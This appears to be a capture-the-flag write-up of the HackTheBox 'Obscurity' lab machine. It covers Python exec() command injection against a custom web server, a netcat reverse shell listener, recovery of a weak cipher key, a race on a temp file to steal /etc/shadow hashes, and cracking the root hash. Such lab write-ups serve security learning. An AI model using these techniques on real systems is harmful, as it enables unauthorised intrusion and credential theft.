HackTheBox - Obscurity
Just finished the newly released Obscurity box on Hackthbox. I have to say it was a really cool box that required a lot of custom exploitation and cover various topics such as command injection, a little crypto and misconfigurations. I wouldn’t say it’s an easy one but it’s a pretty good one for developers comfortable with Python and want to level up in CTF.
Tl;Dr: The user flag consisted in grabbing the source code of the server running port 80, “reverse engineer” it to find a command injection flaw in its workflow. From there you achieve remote code execution as www-data
. As www-data
you can access Robert
user /home/
directory filed with a encrypted password reminder file and a “homemade” python encryption script. Reversing this script you can recover the password used to encrypt the password reminder file. Once decrypted you use this password in the file to pivot to Robert
user and grab the flag.
The root flag was accessible by abusing another homemade python script used to get a shell as root, when reverse engineer it you discover the script temporary store all users password hashes to the /tmp
folder when running but immediately deletes them. You can write a script to grab the hashes fast enough before they get deleted, crack the hash of root and connect with the root
account to grab the flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.168 obscurity.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC obscurity.htb |
Bit less classic than usual, port 80 is closed, nmap
return 9000 port which is closed (no idea what this is so we keep it in mind for later maybe).
The ssh port 22 is open and the 8080 one running BadHTTPServer
… Intriguing.
Let’s dig it on this “bad” server.
Opening http://obsurity.htb:8080/
display the following website:
Looking around we notice this interesting message:
Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory.
Well, since we don’t have other entry point yet, let’s try to bruteforce our way to find this “secret” directory name.
This time I decided to give ffuf
(“a fast web fuzzer written in Go”) a try. It’s usage is pretty straightforward and similar to wfuzz
.
1 | [hg8@archbook ~]$ ffuf -w ~/SecLists/Discovery/Web-Content/big.txt -u "http://obscurity.htb:8080/FUZZ/SuperSecureServer.py" |
Got it! The secret directory was develop
.
Let’s open this SuperSecureServer.py
to take a look:
1 | import socket |
The source code is worth reading, taking a bit of time to understand give some really interesting insight on the working of this http server.
Remote Code Execution -> www-data shell
If you are used to python development (and ctf…), a line should quickly catch your eye:
1 | exec(info.format(path)) |
As a reminded exec()
dynamically execute Python code passed as argument.
Like eval()
it’s usage is dangerous and open door to injections.
Let’s see if we can use this flow to achieve remote code execution on the server.
Can we inject code in info
variable ?
1 | info = "output = 'Document: {}'" |
Nope… path
then?
1 | def parseRequest(self, request): |
As we could have have guess path
contains the url requested to the server and, good news for us, no sanitization is being made.
In the same way as SQL injection, let’s try to inject Python code that will lead to remote code injection on the server.
Let’s create a simplified script to do so with information we have:
1 | import os |
So let’s see what would happen if we pass an os
command as path? Let’s try with os.system('sleep 5')
1 | [hg8@archbook ~]$ python injection.py |
This is not going to work, we will need to escape the python command, let’s give it another try:
1 | [hg8@archbook ~]$ python injection.py |
Looks good to me and doesn’t throw error, let’s add the same exec()
than in the original to make sure the injection will work properly against the server:
1 | import os |
And let’s run it, if it hang for 5 seconds then it mean our injection was successful:
1 | [hg8@archbook ~]$ time python injection.py |
It worked perfectly. Let’s now gather everything we know to achieve remote code execution on the server:
1 | import os |
We will try to execute a reserve shell. After having no luck getting the classical netcat
nor python
reverse shell to work (which is strange since we know python is running on the box), I managed to get the fifo netcat
reverse shell to work:
1 | [hg8@archbook ~]$ cat hg8.sh |
Then we open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And finally we send our payload:
1 | [hg8@archbook ~]$ python rce.py |
Aand we get the connection:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Note: Looking around we immediately notice that the python bin used is pyhton3
that’s why the common python
shell wasn’t working. As usual it’s easy to overlook simple blockers like this one…
Pivot www-data -> Robert
Quick recon shows that the user is robert
and have a few interesting files we can read:
1 | www-data@obscure:/$ ls -l /home/robert/ |
passwordreminder.txt
sure looks interesting… Let’s check it out:
1 | www-data@obscure:/home/robert/$ cat passwordreminder.txt |
It’s encrypted. What else do we have ? Let’s see for check.txt
and out.txt
:
1 | www-data@obscure:/home/robert/$ cat check.txt |
That’s interesting. check.txt
explain that encrypting this same file will result in out.txt
with a given key. We have both clear text message and it’s encrypted version.
Something also catch my eye. Did you notice that the encrypted version contain the same number of characters and the same spaces placement than the clear text one?
We can say with confidence that the encryption mechanism seems to simply encrypt each letter one by one using the key somehow. Let’s see if we can find more informations and possibly retrieve the key. If we find the key, we can decipher the passwordreminder.txt
that will allow us to progress.
We didn’t take a look at SuperSecureCrypt.py
, it’s easy to guess that it’s the script used to encrypt those file. This is the script:
1 | import sys |
Let’s break it down to better understand how it works:
1 | parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm') |
Reading the argparse
we can quickly understand what’s this script will encrypt and decrypt a given file using a given key.
The function that interesting us is the encrypt function. Why is it interesting ? Because we have a clear text file and it’s encrypted version (check.txt
and out.txt
).
The encrypt function looks like this:
1 | def encrypt(text, key): |
12 lines, taking it step by step we should have a good understanding of what it is doing.
Let’s start!
The function take 2 arguments, the text to encrypt and the secret key. Nothing surprising yet.
Second, third and fourth line respectively get the length of the key, initialize keyPos
to 0
(which we can understand means “key position”) and initialize the encrypted
variable that will for sure hold the final encrypted content since it’s returned at the end of the function.
The for
loop every character of the content to encrypt, this seems to confirm our previous assumption that the content is encrypted letter-by-letter.
Inside the for loop, the encrypt mechanism takes place.
keyChr = key[keyPos]
get the secret key letter position. For example if the secret password is hg8
then at the first loop, keyChr
will be h
, second loop it will be g
and third loop 8
since keyPos
get incremented by one at the end of the loop.
Then, ord()
function is used on the letter to encrypt. Python documentation explain:
Given a string representing one Unicode character, return an integer
representing the Unicode code point of that character. For example,ord('a')
returns the integer97
andord('€')
(Euro sign)
returns8364
. This is the inverse ofchr()
.
Next line is where the Magic happens. Let’s break it down:
newChr + ord(keyChr)
: The integer unicode code of the character to encrypt gets added to the integer unicode code of the current key character.(newChr + ord(keyChr)) % 255)
gets the remainder from the division of thekeyChr
addition by255
to make sure it doesn’t not exceed the Unicode code list.Finally we convert the result integer of the operation back to string using
chr()
The encrypted character then gets added to the final encrypted
variable with encrypted += newChr
The last two lines increments the key position, so that the next characters to be encrypted will be encrypted from the next character of the secret key and so on.
keyPos = keyPos % keylen
will restart the key position once we are at the end of the key. For example with hg8
as a key, this is what will happen when keyPos
is 3
:
1 | keyPos = keyPos % keylen |
Alright ! This seems pretty clear now (and not very robust encryption).
I am not going to describe the decrypt()
function since it’s exactly the same but inverted.
Let’s now focus on how, from an encrypted string and it’s clear-text equivalent, we can find back the secret key used.
Recovering the secret key
Seeing the encrypt logic it’s easy to understand how to get back the key from an clear string and it’s encrypted equivalent :
Clear character + Key Character = Encrypted Character
Key Character = Encrypted Character - Clear character
With that in mind we are going to write a little script to recover the secret key used to encrypt check.txt
to out.txt
. To start we will input both clear and encrypted value:
1 | clear = "Encrypting this file with your key should result in out.txt, make sure your key is correct!" |
Here you need to be careful when copy pasting, because space of the encrypted version are not “usual” spaces and could mess up your script if you paste it as normal spaces. Here is how it should looks like (in vim for example):
Here is the final script I made:
1 | def recover_key(clear, encrypt): |
Let’s run it:
1 | [hg8@archbook ~]$ python get_secret_key.py |
Looks good! The key is repeating (remember keyPos = keyPos % keylen
) but we can easily see it’s alexandrovich
. Let’s try to use it to decrypt passwordreminder.txt
:
1 | www-data@obscure:/home/robert/$ python SuperSecureCrypt.py -i passwordreminder.txt -o passwordreminder.clear.txt -k alexandrovich |
Let’s try to login to Robert account with this password:
1 | [hg8@archbook ~]$ ssh [email protected] |
Root Flag
Recon
One of the first thing I do when doing recon for root is checking the sudoer file for uncommon configuration.
1 | $ sudo -S -l |
Interesting, another “homemade” script. And it can be run as sudo
. Sounds like a bad idea to me. If we can find a flaw in this BetterSSH.py
we will be able to escalate our privileges to root.
The python script is the following:
1 | import sys |
As the name suggest, this script aim to serve as a replacement for SSH.
After reading the code we can understand the main logic is the following:
Get the user to input username and password
1
2session['user'] = input("Enter username: ")
passW = input("Enter password: ")Open and parse the
/etc/shadow
file to a temporary file in/tmp/SSH/
1
2
3
4
5
6
7
8
9
10
11
12
13
14path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
[...]
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)at this point the created tmp file should like something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13root
$6$rixxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxch4dy
111111
0
111111
1
hg8
$6$qpePkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc6RAj/
111111
0
111111
1Check if username exist, if username don’t exist the temp file get removed and the script exit.
1
2
3
4
5
6
7
8
9
10for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)If the username exist, the password get hashed and compared to the hash in the temp file (coming from
/etc/shadow
) to see if they match. In the end the temp file get removed wether the password was correct or not.1
2
3
4
5
6
7
8
9
10
11
12
13
14salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))If the password if also correct we get dropped in a “pseudo” shell:
1
2
3
4
5
6
7
8
9
10
11if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Alright! So with all of this in mind, what can of flaw can we find in that ?
First thing that came to my mind was to edit the script to display the retrieved root hash. But of course it can not be that easy, we don’t have write rights since the file is owned by root
:
1 | robert@obscure:~/BetterSSH$ ls -l |
Then what? The temporary file catch the attention aswell… If we manage to read it before it get deleted, we could retrieve root
user password hash. We are facing two issues here:
The file name is random.
The file get deleted immediately after creation. The script allow no “pause” where we could read the file before it gets deleted.
At this point we will need to write a script monitoring the /tmp/SSH/
folder for any file creation and grab it’s content as fast as possible before it get deleted.
To do so, I wrote a simple script:
1 | import os |
Basically the script will loop forever while listing file in /tmp/SSH/
, if a new file is detected it will print its content.
Let’s drop it on the server and give it a try:
1 | robert@obscure:/$ python3 /tmp/watch_ssh.py |
In another shell let’s run the betterSSH.py
script:
1 | robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py |
Going back to our script we can see it worked!
1 | robert@obscure:/$ python3 /tmp/watch_ssh.py |
Cracking Root password hash
Now that we have the hash let’s hope it can be cracked. I will use john the ripper
1 | [hg8@archbook ~]$ echo "$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/" > roothash |
Alright! We have the root password, let’s try to use it with the betterSSH.py
script:
1 | $ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py |
As always do not hesitate to contact me for any questions or feedbacks.
See you next time !
-hg8